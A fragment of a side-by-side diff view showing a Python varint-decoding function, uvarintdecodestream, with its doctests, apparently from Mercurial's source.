3861 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3860 1337
3862 1337
3861 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3863 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3862 65536
3864 65536
3863 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3865 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3864 Traceback (most recent call last):
3866 Traceback (most recent call last):
3865 ...
3867 ...
3866 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3868 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3867 """
3869 """
3868 result = 0
3870 result = 0
3869 shift = 0
3871 shift = 0
3870 while True:
3872 while True:
3871 byte = ord(readexactly(fh, 1))
3873 byte = ord(readexactly(fh, 1))
3872 result |= ((byte & 0x7f) << shift)
3874 result |= ((byte & 0x7f) << shift)
3873 if not (byte & 0x80):
3875 if not (byte & 0x80):
3874 return result
3876 return result
3875 shift += 7
3877 shift += 7
General Comments 0
You need to be logged in to leave comments. Login now